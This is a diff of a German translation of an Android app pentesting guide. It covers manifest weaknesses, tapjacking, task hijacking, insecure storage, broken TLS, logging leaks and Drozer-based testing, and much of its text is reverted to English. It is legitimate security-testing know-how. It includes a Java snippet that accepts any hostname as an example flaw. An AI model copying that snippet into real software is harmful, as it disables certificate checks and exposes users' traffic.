base apks mit [APKEditor](https://github.com/REAndroid/APKEditor) zusammenführen: +- Alle splits und base apks mit [APKEditor](https://github.com/REAndroid/APKEditor) zusammenführen: ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Statische Analyse -Zuerst solltest du zur Analyse einer APK den Java-Code mit einem decompiler betrachten.\ +Zuerst solltest du beim Analysieren einer APK **den Java-Code ansehen** mit einem decompiler.\ Bitte, [**lies hier, um Informationen über verschiedene verfügbare decompiler zu finden**](apk-decompilers.md). -### Nach interessanten Informationen suchen +### Suche nach interessanten Informationen -Schon durch das einfache Betrachten der **strings** der APK kannst du nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API-Keys**, **Verschlüsselungsangaben**, **Bluetooth-UUIDs**, **Tokens** und allem anderen Interessanten suchen... achte auch auf Code-Ausführungs-Backdoors oder Authentifizierungs-Backdoors (hartkodierte Admin-Zugangsdaten in der App). +Schon ein Blick in die **strings** der APK kann Hinweise auf **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** und andere interessante Dinge liefern... suche auch nach code execution **backdoors** oder authentication backdoors (hardcodierte Admin-Credentials in der App). **Firebase** -Achte besonders auf **Firebase URLs** und prüfe, ob sie falsch konfiguriert sind. [Mehr Informationen darüber, was Firebase ist und wie man es ausnutzen kann, findest du hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Achte besonders auf **Firebase URLs** und prüfe, ob es falsch konfiguriert ist. [Mehr Informationen darüber, was Firebase ist und wie man es ausnutzt, hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Grundlegendes Verständnis der Anwendung - Manifest.xml, strings.xml -Die **Untersuchung der _Manifest.xml_ und der **_strings.xml_** einer Anwendung kann potenzielle Sicherheitslücken offenbaren**. Auf diese Dateien kann mit Decompilern zugegriffen werden oder indem man die APK-Endung in .zip ändert und sie entpackt. +Die **Untersuchung der Anwendungs-_Manifest.xml_ und der **_strings.xml_** Dateien kann potenzielle Sicherheitslücken offenbaren**. Diese Dateien sind mittels decompilers zugänglich oder indem man die APK-Endung in .zip ändert und sie entpackt. -**Aus der _Manifest.xml_ identifizierbare Schwachstellen** umfassen: +**Schwachstellen**, die aus der **Manifest.xml** hervorgehen können, umfassen: -- **Debuggable Applications**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) gesetzt sind, stellen ein Risiko dar, da sie Verbindungen erlauben, die zu Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Applications auf einem Gerät findet und ausnutzt, siehe entsprechende Tutorials. -- **Backup Settings**: Das Attribut `android:allowBackup="false"` sollte explizit für Anwendungen gesetzt werden, die mit sensiblen Informationen umgehen, um unautorisierte Daten-Backups via adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist. -- **Network Security**: Eigene Netzwerk-Sicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Certificate Pins und HTTP-Traffic-Einstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Traffic für bestimmte Domains. -- **Exported Activities and Services**: Das Identifizieren exportierter Activities und Services im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Weitere Analysen während des dynamischen Testens können zeigen, wie diese Komponenten ausgenutzt werden können. -- **Content Providers and FileProviders**: Offen exponierte Content Providers könnten unbefugten Zugriff oder Manipulation von Daten erlauben. Die Konfiguration von FileProviders sollte ebenfalls überprüft werden. -- **Broadcast Receivers and URL Schemes**: Diese Komponenten könnten für Exploits genutzt werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemes auf Eingaben reagieren. -- **SDK Versions**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und unterstreichen die Wichtigkeit, veraltete, verwundbare Android-Versionen nicht zu unterstützen. +- **Debuggable Applications**: Anwendungen, die als debuggable (`debuggable="true"`) in der _Manifest.xml_ gesetzt sind, stellen ein Risiko dar, da sie Verbindungen erlauben, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, siehe Tutorials zum Auffinden und Ausnutzen debuggable Anwendungen auf einem Gerät. +- **Backup Settings**: Das Attribut `android:allowBackup="false"` sollte explizit für Anwendungen gesetzt werden, die mit sensiblen Informationen arbeiten, um unautorisierte Daten-Backups via adb zu verhindern, besonders wenn usb debugging aktiviert ist. +- **Network Security**: Eigene network security Konfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie certificate pins und HTTP-Traffic-Einstellungen angeben. Ein Beispiel ist das Erlauben von HTTP-Traffic für bestimmte Domains. +- **Exported Activities and Services**: Das Identifizieren exportierter Activities und Services im Manifest kann Komponenten aufzeigen, die missbraucht werden könnten. Eine weitere Analyse während dynamischer Tests kann offenbaren, wie diese Komponenten ausgenutzt werden können. +- **Content Providers and FileProviders**: Offen exponierte Content Providers könnten unautorisierten Zugriff oder die Manipulation von Daten erlauben. Die Konfiguration von FileProviders sollte ebenfalls genau geprüft werden. +- **Broadcast Receivers and URL Schemes**: Diese Komponenten könnten für Exploits genutzt werden, mit besonderem Augenmerk darauf, wie URL-Schemes für Input-Schwachstellen gehandhabt werden. +- **SDK Versions**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und heben hervor, warum es wichtig ist, keine veralteten, verwundbaren Android-Versionen zu unterstützen. -Aus der **strings.xml** können sensible Informationen wie API-Keys, Custom Schemas und andere Entwicklerhinweise entdeckt werden, was die Notwendigkeit einer sorgfältigen Überprüfung dieser Ressourcen unterstreicht. +Aus der **strings.xml** Datei können sensible Informationen wie API keys, custom schemas und andere Entwicklerhinweise entdeckt werden, was die Notwendigkeit einer sorgfältigen Überprüfung dieser Ressourcen unterstreicht. ### Tapjacking -**Tapjacking** ist ein Angriff, bei dem eine **bösartige Anwendung** gestartet wird und **sich über einer Opfer-Anwendung positioniert**. Sobald sie die Opfer-App sichtbar überdeckt, ist ihre Benutzeroberfläche so gestaltet, dass der Benutzer getäuscht wird, mit ihr zu interagieren, während die Interaktion an die Opfer-App weitergereicht wird.\ -Effektiv wird der Benutzer **davon abgehalten zu wissen, dass er tatsächlich Aktionen in der Opfer-App ausführt**. +Tapjacking ist ein Angriff, bei dem eine **malicious** **application** gestartet wird und sich **über eine victim application legt**. Sobald sie die victim app sichtbar überdeckt, ist ihre Benutzeroberfläche so gestaltet, dass der Benutzer zur Interaktion verleitet wird, während die Interaktion an die victim app weitergereicht wird.\ +Effektiv wird der Benutzer **gebilndet und weiß nicht, dass er tatsächlich Aktionen in der victim app durchführt**. -Weitere Informationen findest du in: +Mehr Informationen findest du in: {{#ref}} @@ -104,9 +104,9 @@ tapjacking.md ### Task Hijacking -Eine **Activity** mit dem **`launchMode`** auf **`singleTask`** gesetzt ohne definierte **`taskAffinity`** ist für Task Hijacking anfällig. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, **die Task der echten Anwendung kapern** könnte (so dass der Benutzer mit der **bösartigen Anwendung interagiert und glaubt, die echte App zu nutzen**). +Eine **activity** mit dem **`launchMode`** auf **`singleTask`** gesetzt und ohne definierte `taskAffinity` ist für Task Hijacking anfällig. Das bedeutet, dass eine **application** installiert werden kann, die, wenn sie vor der echten Anwendung gestartet wird, **die Task der echten Anwendung hijacken** könnte (sodass der Benutzer mit der **malicious application interagiert und denkt, er benutze die echte**). -Mehr Infos in: +Mehr Info in: {{#ref}} @@ -115,71 +115,71 @@ android-task-hijacking.md ### Unsichere Datenspeicherung -**Interner Speicher** +**Internal Storage** -In Android sind Dateien, die im **internen Speicher** abgelegt werden, so ausgelegt, dass sie ausschließlich von der App, die sie erstellt hat, zugänglich sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem durchgesetzt und ist für die meisten Anwendungen ausreichend. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um Dateien zwischen verschiedenen Anwendungen zu teilen. Diese Modi **beschränken jedoch nicht** den Zugriff durch andere Anwendungen, einschließlich potenziell bösartiger Apps. +In Android sind Dateien, die im **internal** storage **gespeichert** werden, so **konzipiert**, dass sie **ausschließlich von der App zugänglich** sind, die sie erstellt hat. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem durchgesetzt und ist in der Regel ausreichend für die Sicherheitsanforderungen der meisten Anwendungen. Entwickler verwenden jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um Dateien zwischen verschiedenen Anwendungen zu **teilen**. Diese Modi **beschränken den Zugriff nicht** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger. 1. **Statische Analyse:** -- **Stelle sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig geprüft** wird. Diese Modi **können Dateien für unbeabsichtigten oder unautorisierten Zugriff öffnen**. +- **Überprüfe**, ob `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` verwendet werden. Diese Modi **können Dateien unbeabsichtigt oder unautorisiert zugänglich machen**. 2. **Dynamische Analyse:** -- **Überprüfe** die **Berechtigungen** von Dateien, die von der App erstellt wurden. Insbesondere **prüfe**, ob Dateien so gesetzt sind, dass sie weltweit lesbar oder beschreibbar sind. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung** auf dem Gerät, unabhängig von Herkunft oder Absicht, erlauben würde, diese Dateien zu **lesen oder zu verändern**. +- **Verifiziere** die **Berechtigungen** von Dateien, die von der App erstellt wurden. Prüfe speziell, ob Dateien **weltweit lesbar oder beschreibbar** gesetzt sind. Das stellt ein erhebliches Sicherheitsrisiko dar, da **jede installierte Anwendung**, unabhängig von Herkunft oder Absicht, diese Dateien **lesen oder ändern** könnte. -**Externer Speicher** +**External Storage** -Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestimmte Vorsichtsmaßnahmen getroffen werden: +Beim Umgang mit Dateien auf **external storage**, wie SD-Karten, sind bestimmte Vorsichtsmaßnahmen zu treffen: 1. **Zugänglichkeit**: -- Dateien auf externem Speicher sind **global les- und schreibbar**. Das bedeutet, jede Anwendung oder jeder Benutzer kann auf diese Dateien zugreifen. +- Dateien auf external storage sind **global lesbar und beschreibbar**. Das bedeutet, jede Anwendung oder jeder Benutzer kann auf diese Dateien zugreifen. 2. **Sicherheitsbedenken**: -- Aufgrund des einfachen Zugriffs wird empfohlen, **keine sensiblen Informationen** auf externem Speicher zu speichern. -- Externer Speicher kann entfernt werden oder von jeder Anwendung ausgelesen werden, was ihn weniger sicher macht. -3. **Umgang mit Daten vom externen Speicher**: -- Führe immer **Input-Validierung** auf Daten durch, die vom externen Speicher stammen. Das ist entscheidend, da die Daten aus einer nicht vertrauenswürdigen Quelle kommen. -- Das Ablegen von ausführbaren Dateien oder class-Dateien auf externem Speicher zum dynamischen Laden wird dringend abgeraten. -- Wenn deine Anwendung unbedingt ausführbare Dateien vom externen Speicher laden muss, stelle sicher, dass diese Dateien **signiert und kryptografisch verifiziert** werden, bevor sie dynamisch geladen werden. Dieser Schritt ist entscheidend für die Sicherheit der Anwendung. +- Aufgrund der leichten Zugänglichkeit sollte man **keine sensiblen Informationen** auf external storage speichern. +- External storage kann entfernt oder von beliebigen Anwendungen ausgelesen werden, wodurch es weniger sicher ist. +3. **Umgang mit Daten von External Storage**: +- Führe immer **Input-Validierung** auf Daten durch, die von external storage geladen werden. Das ist wichtig, da die Daten aus einer untrusted Quelle stammen. +- Das Speichern von Executables oder class files auf external storage zum dynamischen Laden ist stark zu vermeiden. +- Wenn deine Anwendung ausführbare Dateien aus external storage laden muss, stelle sicher, dass diese Dateien **signiert und kryptografisch verifiziert** sind, bevor sie dynamisch geladen werden. Dieser Schritt ist entscheidend für die Integrität und Sicherheit deiner Anwendung. -External storage kann unter /storage/emulated/0 , /sdcard , /mnt/sdcard erreicht werden +External storage kann unter /storage/emulated/0 , /sdcard , /mnt/sdcard zugegriffen werden. > [!TIP] -> Beginnend mit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die den Zugriff einer App auf das Verzeichnis einschränkt, das speziell für diese App vorgesehen ist. Das verhindert, dass eine bösartige Anwendung Lese- oder Schreibzugriff auf die Dateien einer anderen App erhält. +> Beginnend mit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die den Zugriff einer App auf das Verzeichnis einschränkt, das speziell für diese App vorgesehen ist. Das verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erlangen. -**Sensitive Daten im Klartext** +**Sensitive data stored in clear-text** -- **Shared preferences**: Android erlaubt jeder Anwendung, XML-Dateien im Pfad /data/data//shared_prefs/ zu speichern, und manchmal findet man in diesem Ordner sensible Informationen im Klartext. -- **Databases**: Android erlaubt jeder Anwendung, sqlite-Datenbanken im Pfad /data/data//databases/ zu speichern, und manchmal findet man in diesem Ordner sensible Informationen im Klartext. +- **Shared preferences**: Android erlaubt jeder Anwendung, XML-Dateien unter dem Pfad `/data/data//shared_prefs/` abzulegen, und manchmal findet man dort sensitive Informationen im Klartext. +- **Databases**: Android erlaubt jeder Anwendung, sqlite-Datenbanken unter dem Pfad `/data/data//databases/` zu speichern, und manchmal findet man dort sensitive Informationen im Klartext. ### Broken TLS **Accept All Certificates** -Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, selbst wenn z. B. der Hostname nicht übereinstimmt, mit Codezeilen wie der folgenden: +Aus irgendeinem Grund akzeptieren Entwickler manchmal alle Zertifikate, selbst wenn zum Beispiel der Hostname nicht übereinstimmt, mit Codezeilen wie der folgenden: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Eine gute Möglichkeit, dies zu testen, besteht darin, zu versuchen, den Traffic mit einem Proxy wie Burp abzufangen, ohne die Burp CA im Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen hostname erzeugen und verwenden. +A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -### Unsichere Kryptographie +### Broken Cryptography -**Schlechte Schlüsselverwaltungsprozesse** +**Poor Key Management Processes** -Manche Entwickler speichern sensitive Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersehbaren Schlüssel. Das sollte nicht gemacht werden, da Reverse-Engineering Angreifern erlauben könnte, die vertraulichen Informationen zu extrahieren. +Einige Entwickler speichern sensitive Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersehbaren key. Das sollte nicht gemacht werden, da ein reversing Angreifern erlauben könnte, die vertraulichen Informationen zu extrahieren. -**Verwendung unsicherer und/oder veralteter Algorithmen** +**Use of Insecure and/or Deprecated Algorithms** -Entwickler sollten keine **deprecated algorithms** verwenden, um authorisation **checks** durchzuführen, Daten zu **store** oder **send**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **hashes** z. B. verwendet werden, um Passwörter zu speichern, sollten brute-force-resistente **hashes** mit Salt verwendet werden. +Entwickler sollten keine **deprecated algorithms** verwenden, um Autorisierungs-**checks** durchzuführen, Daten zu **store** oder zu **send**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn beispielsweise **hashes** verwendet werden, um Passwörter zu speichern, sollten brute-force-resistant **hashes** mit salt verwendet werden. -### Weitere Prüfungen +### Other checks -- Es wird empfohlen, die APK zu obfuskieren, um die Arbeit des Reverse Engineers für Angreifer zu erschweren. -- Wenn die App sensibel ist (wie Banking-Apps), sollte sie eigene Prüfungen durchführen, um festzustellen, ob das Gerät gerootet ist, und entsprechend handeln. -- Wenn die App sensibel ist (wie Banking-Apps), sollte sie prüfen, ob ein **emulator** verwendet wird. -- Wenn die App sensibel ist (wie Banking-Apps), sollte sie ihre Integrität prüfen, bevor sie ausgeführt wird, um festzustellen, ob sie verändert wurde. -- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu prüfen, welcher compiler/packer/obfuscator zum Erstellen der APK verwendet wurde +- Es wird empfohlen, die **obfuscate the APK** zu verwenden, um die Arbeit des reverse engineer für Angreifer zu erschweren. +- Wenn die App sensibel ist (wie bank apps), sollte sie ihre **own checks to see if the mobile is rooted** durchführen und entsprechend handeln. +- Wenn die App sensibel ist (wie bank apps), sollte sie prüfen, ob ein **emulator** verwendet wird. +- Wenn die App sensibel ist (wie bank apps), sollte sie **check it's own integrity before executing** um zu prüfen, ob sie modifiziert wurde. +- Use [**APKiD**](https://github.com/rednaga/APKiD) um zu prüfen, welcher compiler/packer/obfuscator verwendet wurde, um die APK zu bauen ### React Native Application -Lies die folgende Seite, um zu erfahren, wie man einfach auf javascript code von React-Anwendungen zugreift: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} @@ -188,7 +188,7 @@ react-native-application.md ### Xamarin Applications -Lies die folgende Seite, um zu erfahren, wie man einfach auf C# code einer Xamarin-Anwendung zugreift: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} @@ -197,17 +197,17 @@ Lies die folgende Seite, um zu erfahren, wie man einfach auf C# code einer Xamar ### Superpacked Applications -According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ist ein Meta-Algorithmus, der den Inhalt einer Anwendung in eine einzelne Datei komprimiert. Der Blog beschreibt die Möglichkeit, eine App zu erstellen, die solche Apps dekomprimiert... und einen schnelleren Weg, der darin besteht, die Anwendung auszuführen und die dekomprimierten Dateien vom Dateisystem zu sammeln. +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** -### Automatisierte statische Code-Analyse +### Automated Static Code Analysis -Das Tool [**mariana-trench**](https://github.com/facebook/mariana-trench) ist in der Lage, **vulnerabilities** zu finden, indem es den **code** der Anwendung **scans**. Dieses Tool enthält eine Reihe von **known sources** (die dem Tool die **places** anzeigen, wo der **input** vom Benutzer kontrolliert wird), **sinks** (die dem Tool **dangerous** **places** anzeigen, wo bösartige Benutzereingaben Schaden anrichten könnten) und **rules**. Diese **rules** geben die **combination** von **sources-sinks** an, die auf eine **vulnerability** hinweist. +The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. -Mit diesem Wissen wird **mariana-trench** den **code** überprüfen und mögliche **vulnerabilities** darin finden. +With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -Eine Anwendung kann Secrets (API keys, Passwörter, versteckte urls, Subdomains...) enthalten, die Sie möglicherweise entdecken können. Sie könnten ein Tool wie [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) verwenden. +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,7 +216,7 @@ Eine Anwendung kann Secrets (API keys, Passwörter, versteckte urls, Subdomains. bypass-biometric-authentication-android.md {{#endref}} -### Weitere interessante Funktionen +### Other interesting functions - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` @@ -234,157 +234,157 @@ content-protocol.md --- -## Dynamische Analyse +## Dynamic Analysis -> Zuerst benötigen Sie eine Umgebung, in der Sie die Anwendung und alle erforderlichen Komponenten (Burp CA cert, Drozer und Frida hauptsächlich) installieren können. Daher wird ein gerootetes Gerät (emuliert oder nicht) dringend empfohlen. +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. ### Online Dynamic analysis -Sie können einen kostenlosen Account unter: [https://appetize.io/](https://appetize.io) erstellen. Diese Plattform erlaubt es, APKs hochzuladen und auszuführen, sodass sie nützlich ist, um zu sehen, wie sich eine APK verhält. +You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. -Sie können sogar die Logs Ihrer Anwendung im Web sehen und sich über **adb** verbinden. +You can even **see the logs of your application** in the web and connect through **adb**. ![](<../../images/image (831).png>) -Dank der ADB-Verbindung können Sie **Drozer** und **Frida** innerhalb der Emulatoren verwenden. +Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. -### Lokale dynamische Analyse +### Local Dynamic Analysis -#### Verwendung eines Emulators +#### Using an emulator -- [**Android Studio**](https://developer.android.com/studio) (Sie können **x86** und **arm** Geräte erstellen, und laut [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) unterstützen die neuesten **x86** Versionen **ARM libraries** ohne einen langsamen ARM-Emulator). -- Lernen Sie, wie man es auf dieser Seite einrichtet: +- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- Learn to set it up in this page: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, Sie müssen ein Konto erstellen. _Es wird empfohlen, die Version **MIT** _**VirtualBox**_ herunterzuladen, um mögliche Fehler zu vermeiden._) -- [**Nox**](https://es.bignox.com) (Kostenlos, unterstützt jedoch Frida oder Drozer nicht). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) +- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). > [!TIP] -> Beim Erstellen eines neuen Emulators auf jeder Plattform gilt: Je größer der Bildschirm ist, desto langsamer läuft der Emulator. Wählen Sie daher nach Möglichkeit kleine Bildschirme. +> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. -Um Google Services (wie AppStore) in Genymotion zu installieren, müssen Sie auf die im folgenden Bild rot markierte Schaltfläche klicken: +To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: ![](<../../images/image (277).png>) -Beachten Sie außerdem, dass Sie in der **Konfiguration der Android VM in Genymotion** den **Bridge Network mode** auswählen können (das ist nützlich, wenn Sie sich von einer anderen VM mit den Tools mit der Android-VM verbinden wollen). +Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). -#### Verwendung eines physischen Geräts +#### Use a physical device -Sie müssen die **debugging**-Optionen aktivieren und es wäre gut, wenn Sie es **rooten** könnten: +You need to activate the **debugging** options and it will be cool if you can **root** it: -1. **Einstellungen**. -2. (Ab Android 8.0) Wählen Sie **System**. -3. Wählen Sie **Über das Telefon**. -4. Drücken Sie **Build number** 7-mal. -5. Gehen Sie zurück und Sie finden die **Entwickleroptionen**. +1. **Settings**. +2. (FromAndroid 8.0) Select **System**. +3. Select **About phone**. +4. Press **Build number** 7 times. +5. Go back and you will find the **Developer options**. -> Sobald Sie die Anwendung installiert haben, sollten Sie sie zunächst ausprobieren und untersuchen, was sie tut, wie sie funktioniert und sich mit ihr vertraut machen.\ -> Ich empfehle, diese anfängliche dynamische Analyse mit MobSF dynamic analysis + pidcat durchzuführen, damit wir lernen können, wie die Anwendung funktioniert, während MobSF viele interessante Daten erfasst, die Sie später prüfen können. +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ +> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. ### Unintended Data Leakage **Logging** -Entwickler sollten vorsichtig sein, debug-Informationen öffentlich preiszugeben, da dies zu sensiblen Daten leaks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um die Anwendungs-Logs zu überwachen, sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt. +Entwickler sollten vorsichtig sein, **debugging information** öffentlich preiszugeben, da dies zu sensiblen data leaks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungslogs zu überwachen und sensible Informationen zu identifizieren bzw. zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt. > [!WARNING] -> Beachten Sie, dass ab neueren Versionen als Android 4.0 **Anwendungen nur auf ihre eigenen Logs zugreifen können**. Anwendungen können also nicht auf die Logs anderer Apps zugreifen.\ -> Trotzdem wird empfohlen, keine sensitiven Informationen zu loggen. +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. **Copy/Paste Buffer Caching** -Das clipboard-basierte Framework von Android ermöglicht Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere applications** auf die Zwischenablage zugreifen können und so sensitive Daten exponiert werden können. Es ist wichtig, Copy/Paste-Funktionen für sensitive Bereiche einer Anwendung, wie Kreditkartendetails, zu deaktivieren, um data leaks zu vermeiden. +Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks. **Crash Logs** -Wenn eine Anwendung abstürzt und Logs speichert, können diese Logs Angreifern helfen, insbesondere wenn die Anwendung nicht reverse-engineered werden kann. Um dieses Risiko zu mindern, vermeiden Sie das Logging bei Abstürzen, und falls Logs über das Netzwerk gesendet werden müssen, stellen Sie sicher, dass sie über einen SSL-Kanal übertragen werden. +If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security. -Als pentester, versuchen Sie, einen Blick auf diese Logs zu werfen. +As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -Anwendungen integrieren oft Dienste wie Google Adsense, die aufgrund unsachgemäßer Implementierung durch Entwickler versehentlich sensitive data leak können. Um potenzielle data leaks zu identifizieren, ist es ratsam, den Traffic der Anwendung abzufangen und zu prüfen, ob sensible Informationen an Third-Party-Services gesendet werden. +Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services. ### SQLite DBs -Die meisten Anwendungen verwenden interne SQLite-Datenbanken, um Informationen zu speichern. Während des pentest werfen Sie einen Blick auf die erstellten Datenbanken, die Namen der Tabellen und Spalten und alle gespeicherten Daten, da Sie sensitive Informationen finden könnten (was eine Vulnerability wäre).\ -Datenbanken sollten sich in /data/data/the.package.name/databases befinden, z. B. /data/data/com.mwr.example.sieve/databases +Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ +Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` -Wenn die Datenbank vertrauliche Informationen speichert und verschlüsselt ist, Sie aber das Passwort in der Anwendung finden können, ist das immer noch eine Vulnerability. +If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**. -Listen Sie die Tabellen mit `.tables` auf und listen Sie die Spalten der Tabellen mit `.schema ` auf. +Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** erlaubt es Ihnen, **die Rolle einer Android app anzunehmen** und mit anderen Apps zu interagieren. Es kann **alles tun, was eine installierte Anwendung tun kann**, wie z. B. Androids Inter-Process Communication (IPC) nutzen und mit dem darunterliegenden Betriebssystem interagieren.\ -Drozer ist ein nützliches Tool, um **exported activities, exported services und Content Providers zu exploit-en**, wie Sie in den folgenden Abschnitten lernen werden. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Außerdem denken Sie daran, dass der Code einer Activity in der **`onCreate`**-Methode beginnt. +Also remember that the code of an activity starts in the **`onCreate`** method. 